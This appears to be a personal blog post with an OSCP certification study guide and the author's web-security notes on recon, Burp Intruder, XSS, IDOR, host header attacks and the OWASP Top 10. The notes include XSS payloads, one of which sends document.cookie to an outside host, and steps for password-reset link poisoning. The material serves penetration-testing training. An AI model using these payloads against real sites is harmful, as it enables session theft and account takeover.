Tuesday, March 19, 2019

OSCP Guide - (By Rajesh)

 Things Required for OSCP Preparation
A ‘NEVER GIVE UP’ attitude
Basic Linux usage skills
A bit of programming knowledge
Ability to read and understand the flow of public exploits
Creative hacker way of thinking
Lots of interest, patience, and enthusiasm
We will divide the OSCP journey into 2 phases:

Pre-Enrolment
Post Enrolment
Pre-Enrolment
If you are not a newbie in Pen testing and aware of buffer overflow exploitation, you can skip this section and start enrolling.

For the rest, you need to cover the following aspects:

Basics
Get handy in using Linux. If you are new to Linux, refer the Linux command guide http://linuxcommand.org. Practice all the common commands, and refer the man page for each of these commands.
Pro-tip: If you have more time in your hands and want to Learn Linux in a fun way, you can try the wargames here http://overthewire.org/wargames/

If you are not aware of programming languages, it is highly recommended to learn one. I would recommend learning Python. An awesome simple tutorial by Vivek Ramachandran is preferable http://www.pentesteracademy.com/course?id=1
Check out various videos on YouTube on basic concepts such as port-scanning, web application testing, etc. Sometimes research on simple concepts will give good ideas on enumeration, for e.g., How SSH works, How service runs on ports, How Sockets works etc.

Metasploit

Metasploit is a very powerful tool and it is necessary for all the pen testers to know how to use it. Especially the Metasploit post-exploitation modules. Refer to the following links:

Vivek Ramachandran’s Metasploit Megaprimer Videos: http://www.securitytube.net/groups?operation=view&groupId=10

Metasploit unleashed by Offensive Security:

https://www.offensive-security.com/metasploit-unleashed/

Usage of Metasploit in the exam is limited to only one machine, but still, you can practice it in labs to know about the tool in depth.

Buffer Overflow

Buffer overflow is a very important concept you should practice. Because, if you are good at exploiting buffer overflows, you are sure to get the maximum point machine in the practical exam. But don’t worry if you know nothing about buffer overflows. The following steps will make you not only understand the concept of a buffer overflow, but you can also do it by yourself.

1. A quick intro on buffer overflow.

https://www.youtube.com/watch?v=1S0aBV-Waeo

What is Buffer Overflow? (very clearly explained). After watching this video, you will get an idea on the concept behind buffer overflow. Also, will increase your urge to learning buffer overflow.

2. Assembly language primer by Vivek Ramachandran. http://www.securitytube.net/groups?operation=view&groupId=5

Don’t get bored after seeing Assembly language. Just go through the first 2 videos in this video series. That is enough for understanding the memory layout.

3. Buffer Overflow Megaprimer by Vivek Ramachandran. http://www.securitytube.net/groups?operation=view&groupId=4 .

In-depth video of buffer overflow where its explained in a very detailed way.

4. Exploit Research Megaprimer by Vivek Ramachandran. http://www.securitytube.net/groups?operation=view&groupId=7

Real-time Exploitation of buffer overflow which will be very interesting, where exploitation is explained in stepwise clearly. You can even try it yourself as mentioned in the video for your practice. It’s enough to go through the first 5 videos. SEH Based buffer overflow is not required for OSCP.

If you follow the above steps, you will be able to do exploitation with buffer overflow by yourself 100%.

Many people shy away from preparing for buffer overflows because it helps to exploit only one machine in the exam. But still, it’s a very important and interesting concept. I have seen many people failing because of improper preparation on buffer overflows. Moreover, OSCP is not the target. All the things you learn here is for the real world.

Some Valuable Resources

These are some valuable resources which I found very useful in my OSCP Preparation. Many of them are now permanent reference resources even after I have cleared my OSCP.

Enumeration

http://www.0daysecurity.com/penetration-testing/enumeration.html

https://nmap.org/nsedoc/

https://www.youtube.com/watch?v=Hk-21p2m8YY

Shell Exploitation

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

https://netsec.ws/?p=331

Windows Privilege Escalation

http://www.fuzzysecurity.com/tutorials/16.html

https://www.youtube.com/watch?v=kMG8IsCohHA

https://www.youtube.com/watch?v=PC_iMqiuIRQ

https://github.com/GDSSecurity/Windows-Exploit-Suggester

Linux Privilege Escalation

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://www.youtube.com/watch?v=dk2wsyFiosg

Privilege escalation recon scripts:

http://www.securitysift.com/download/linuxprivchecker.py

http://pentestmonkey.net/tools/audit/unix-privesc-check

Research and document

OSCP is difficult – have no doubts about that! There is no spoon-feeding here. Refer to all the above references and do your own research on topics like service enumeration, penetration testing approaches, post exploitation, privilege escalation, etc. Remember, always take notes as text with a separate note.

POST ENROLLING

Knowledge and expert skills don’t come immediately to anyone. They must be worked upon. But first, you need to get started! So, if you are anywhere near the idea of attempting the OSCP, just enroll and get started. Once you are good with all the above pre-enrolling, you are fully ready to enroll for the OSCP.

The main thing in OSCP is the lab.

OSCP is not about clearing the exam. It’s all about working deeply on labs.

In General,

It’s not about the destination. It’s all about the journey.

So, it is recommended to take 2 or 3 months lab. 1 month lab will never be enough for learning. If you have enough time to work dedicatedly on weekdays, you can take 2 months. Else take 3 months minimum.

Once you enroll, you will be given a time where you will receive your materials and lab connectivity packs. Approximately 20 days from the date of enrolling.

The period before getting Lab Connections

This period could be used to test your research ideas on some other OSCP lab similar stuff.

Refer to the vulnhub machines in the following link.

http://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html

The VMs in the above link are OSCP-like VMs. Generally, CTFs are different than the vulnerable machines in the OSCP labs. CTFs have a puzzle-like approach, whereas OSCP labs are the ones which will be like a real-world simulation.

The VMs in the above link will be like OSCP labs. You can start solving these VMs. For the vulnhub VMs, there are walkthroughs for each machine. You can try each machine first by yourself. Else read the walkthrough, understand it, and then try to implement the method again in the VMs.

Also, try this https://www.hackthebox.gr/

It is also a network which has machines like OSCP Labs.

Document all your steps and take notes of every new concept you learned.

Welcome to OSCP

You will get your training materials (in PDF), video materials, and lab connectivity pack via email. The link for the pdf and video will expire in 2 days. You should download and back it up before that. Check your lab connectivity as mentioned in the lab connectivity guide. Don’t start diving into labs immediately. Follow the below-given steps once you receive the email.

Go through the video material
Go through the pdf completely
Do the exercises in pdf and document it.
Most people only go through the video and then start labs. But that is the biggest mistake. The PDF has a lot more than what is mentioned in the videos. Do not feel bored when going through all the material and doing the exercises. Remember the proverb by Abraham Lincoln.

OSCP

The exercises in the PDF help in sharpening one’s axe. I found some useful tips and tricks whenever I used to get stuck in the lab exercises.

What’s more, you will get an additional 5 points for submitting exercise documentation.

Let the Hacking Begin

Now is the main part of OSCP. The labs. The lab environment consists of 55 machines each with a different approach and different difficulty level. The lab infra has 4 networks. Public, IT, Development, and Admin network. You will get direct access only to the public network. You need to unlock other networks by the secret keys obtained by proper post exploitation. You will be connected to other networks by port forwarding and proxy chaining. A lab is a place where you try out all your research ideas and various tools.

Before starting the lab machines, go through the buffer overflow exploitation in the video material 2-3 times and practice the same on your dedicated Windows 7 machine provided along with the lab machines. Same tools explained in the material will be there on your Windows 7 machine. Practice buffer overflow by following the same steps used by the instructor.

Exploiting a machine is a Systematic Process:

Find the open ports and services running on ports
Enumerate the services and the machine
Exploit the correct vulnerability and gain access
Do proper post exploitation enumeration
Privilege Escalation
For some machines, you will get direct admin/root/system access at the initial stage itself. But still, you need to do proper post exploitation enumeration on that machine. This is because in the labs the information gathered on post exploitation on one machine will be used to solve another one.

There are 4 main difficult machines in the OSCP lab called as pain, sufferance, humble and gh0st. its nature is as per the name. I gained a lot of confidence after solving these machines.

You need to give your maximum dedication in the labs. Do the research, lots and lots of research. Try all
kind of possibilities, try stupid things. Google is your friend. Always use Google at any point and at every machine. Google everything that is in front of you. You will experience lots and lots of pain, frustration, etc. Many times you may lose your patience. But NEVER GIVE UP!

Try Harder. If you get stuck and you don’t know how to proceed, you can visit offsec student forums

https://forums.offensive-security.com/

Log into you OS ID and navigate to lab machine discussion. You will find some useful hints.

Also, you can join a slack team https://netsecfocus.slack.com and request them to add you to the OSCP channel. You can get some useful ideas here.

But nowhere no one will give you a direct solution for any of the lab machines. You will only get a small hint and some suggestions. You must figure out the solution by yourself.

Remember, the enumeration is the key for OSCP. It took me 2 months to know the exact meaning of enumeration. Never get excited to exploit any machine at first. Do not follow the approach of monkey testing and blindly downloading and running the exploits. Trust me, this approach will make you fall into a rabbit hole. There will be some decoy vulnerabilities to trick you in the wrong direction.

So, what is the approach?

Only with proper enumeration, you can successfully exploit any target.

Do a full port scan on the target.
Refer fyodor’s defcon video on “nmap: scanning the internet” https://www.youtube.com/watch?v=Hk-21p2m8YY

Enumerate every port. Find what service is running. If you are unaware, simply google the port. Also refer to the below article.
http://www.0daysecurity.com/penetration-testing/enumeration.html

After understanding the target, now try to find vulnerabilities. Some target might be exploitable with more than 1 way
If you find a vulnerability, read about that vulnerability. Many of the exploits will not work without modification. So, learn the vulnerability and read the exploit carefully. Sometimes, there will be another manual way of exploiting the vulnerabilities instead of using public exploits. So, google a lot. Pages not listed under top will also have some useful stuffs. Refer all pages.

In some cases, the machine might be busy since other students will also be working. So, revert the machine and try again. Look for the attacks on the vulnerability online. There will be many blogs written on how to exploit that vulnerability.

Once you gain access to the system, always upgrade your shell. Enumerate well. Search for misconfigurations, credentials, try to use the credentials at whichever place possible.

It is not required to solve all the machines to take the exam. It’s for enhancing your pentest skills. I’d recommend getting at least 25+ targets and 2 of the four difficult ones. If you can’t solve these many target machines then you probably need to extend the labs and start working on it.

Document all your lab works and take notes of everything that you learned. Submitting the lab report will give you an additional 5 points.

The Exam

Once you are confident enough after working in the labs, you can take the exam. Make sure you schedule your exam date at least 1 month in advance.

You need proper sleep, food, and regular breaks during the exam. Because your brain needs to function 2-3 times more creatively and spontaneously than usual.

Grab all your notes, lab notes and make a revision before starting.

Metasploit usage is restricted in the exam. You should use it only once. So, use it wisely.

Never lose your patience and stay calm. Enumerate, enumerate, and enumerate. Never leave anything. Try all stupid things. Do not panic. Assume like you are working in the lab.

After completing the exam, you will be given 1 day to prepare the report and send them. There will be a report template in the reporting guide. You can use your own report as well. Read the offsec reporting guide carefully before starting the report and send them in the exact format and the way they are mentioned.

Tips for Exam

Be confident
Be very cool and calm
Never bother if you didn’t get access to one or two machines in short time as mentioned in other blogs
Enumerate well
Take regular breaks. Go for a small walk and get some fresh air.
Take screenshots and POCs immediately after each exploitation steps.
Submit the flags (local.txt & proof.txt) in the exam panel immediately once you retrieve them
I have seen many people failing in the exam once they lose their patience. So never get tensed. Always be calm and relaxed. TRY HARDER!

Conclusion

OSCP is not just a certification. It is an awesome journey which teaches you many things apart from a technical perspective. It will teach you to think creatively, develop a ton of patience and most of all you will ‘NEVER GIVE UP’.



(#1) Kioptrix: 2014 https://www.vulnhub.com/entry/kioptrix-2014-5,62/
(#2) FristiLeaks: 1.3 https://www.vulnhub.com/entry/fristileaks-13,133/
(#3) Stapler: 1 https://www.vulnhub.com/entry/stapler-1,150/
(#4) VulnOS: 2 https://www.vulnhub.com/entry/vulnos-2,147/
(#5) SickOs: 1.2 https://www.vulnhub.com/entry/sickos-12,144/
(#6) Brainpan: 1 ttps://www.vulnhub.com/entry/brainpan-1,51/
(#7) HackLAB: Vulnix https://www.vulnhub.com/entry/hacklab-vulnix,48/
(#8) /dev/random: scream https://www.vulnhub.com/entry/devrandom-scream,47/
(#9) pWnOS: 2.0 https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
(#10) SkyTower: 1 https://www.vulnhub.com/entry/skytower-1,96/

Related Security Test - XSS, IDOR, Host Header Attack

Information gathering:

1. site
2. subdomains -> virustotal.com
3. IP address -> ping any.com
4. Find the programming language of the website:
Google Search – site:any.com .jsp/aspx/php/asp/jspx...
Kali – whatweb any.com (and find X-Powered-By)
5. Open ports and Services:
nmap domain/ip
nmap ip -Pn (if ping probe is blocked by normal scan)
aggressive scan: nmap ip -sV (if blocking, append in last -Pn)
Detailed scan: nmap ip | nmap -sC ip
6. Servers info:
whatweb any.com or ssltest.com (in signature many more things)


intruder in burpsuite :

Attack type :– Sniper – (will apply payload on single parameter where payload apply)
Battering Ram – (One payload will apply in on the parameters)
upload payload and check for 200 status after browsing <- checked URL encoding
<- Uncheck URL encoding

XSS:
prompt.ml -> A website to test XSS with different challenges/payloads
Find parameter which is reflecting back –> test it manually or upload payload through the intruder
By intruder and loaded payload -> on 0 payloads, if it gets executed the length is small so the attacked payload will have a length greater than 0. or it may exist on lower length as well.

URL redirection -> <script>document.location.href=”http://bing.com”</script>
Phishing: <iframe src=”http://bing.com”><iframe>
cookie stealing: <script>alert(document.cookie)</script>
<script>document.location.href=”http://bing.com/p/?page =”+document.cookie</script>
Through File uploading -> if file upload option is available and file name is visible in source code after uploading(file name is reflecting) then it may be XSS. Apply payload of XSS on the name of file and check.

IDOR – Insecure Direct Object Reference

Login by account A. -> Edit Profile A. -> Capture User ID , suppose - abcd
Login by Account B -> Edit profile B -> pass used ID of A here and forward. -> Now check the changes in account A

User reference can be changed at URL





Host Header Attack: Open Redirection
Check the status code = 200, 201,202..or 300, 301,..(2XX or 3XX)
Below the get method:
1. Now capture the request -> Host: replace the real website to testing website like bing.com
If it is redirecting to the bing.com then there is a host header attack.
2. change realweb.com to bing.com and set X-Forwarded-Host to realweb.com
like – Host: bing.com
X-Forwarded-Host: realweb.com
3. Vice-versa of 2nd point

Host Header Attack: Web Cache Poising

4. Change the Host similar as above - Host: bing.com
In response, if it is visible in href: bing.com then there is web cache poising
In the browser, the response will be as a link. When it will be clicked on UI, it will redirect to bing.com

Host Header Attack: Password Reset Page

5. Suppose a website is sending password reset link for password reset

An attacker changed the host from this link on mail. Now when the user tries to change the password, this won’t work(host in url is different) but the attacker will get the requested link(password reset link) in the log and he/she can change user’s password by manually changing the url host from that link.
                        Reference- (These contents are part of notes prepared by me - from multiple sources. Major parts are taken from Vikash Chaudhary course from Udemy(for more details visit this course on Udemy))

Security Related Stuff: Notes


Edit something through inspect element= >
Ø  document.body.contentEditable=true
<. true

OWASP Top 10 Application Security Risks - 2017

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.
Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc.
Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

Linux Commands:

Check os version in Linux:

·         $ cat /etc/os-release -  Sample output:
               NAME="Ubuntu"
VERSION="17.10 (Artful Aardvark)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 17.10"
VERSION_ID="17.10"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=artful
UBUNTU_CODENAME=artful

·         $ lsb_release –a :- The lsb_release command gives LSB (Linux Standard Base) and distribution-specific information on the CLI.
·         $ hostnamectl   :- Use hostnamectl command to query and change the system hostname and related settings. Just type the this command to check OS name and Linux kernel version.
·         $ uname –r   :- Just print Linux kernel version.  Can print other info like:
-s--kernel-name
Print the kernel name.
-n--nodename
Print the network node hostname.
-r--kernel-release
Print the kernel release.
-v--kernel-version
Print the kernel version.
-m--machine
Print the machine hardware name.
-p--processor
Print the processor type, or "unknown".
-i--hardware-platform
Print the hardware platform, or "unknown".
-o--operating-system
Print the operating system.
--help
Display a help message, and exit.
--version
Display version information, and exit.


Wappalyzer   - a tool used with the browser (chrome/Mozilla) to show the technologies used in the website.


Defense in Depth: From Udemy - >
            States security should be at every layer.


Host Header:
Tools to detect and show this header:
Browser plugins -> Live HTTP headers, HTTP Fox
Browser Developer Tools
Proxy Tools ->   Fiddler, Charles, Burp, Wireshark

HTTP 1.1 also allows you to have persistent connections which means that you can have more than one request/response on the same HTTP connection.
In HTTP 1.0 you had to open a new connection for each request/response pair. And after each response, the connection would be closed. This leads to some big efficiency problems because of TCP Slow Start.

GET / HTTP/1.1
Host: www.blahblahblahblah.com
This header is useful because it allows you to route a message through proxy servers, and also because your web server can distinguish between different sites on the same server.

·         Automated testing : Nettacker in Kali
                                                                 

                                         *Reference - contents are taken from multiple locations(will try to list later)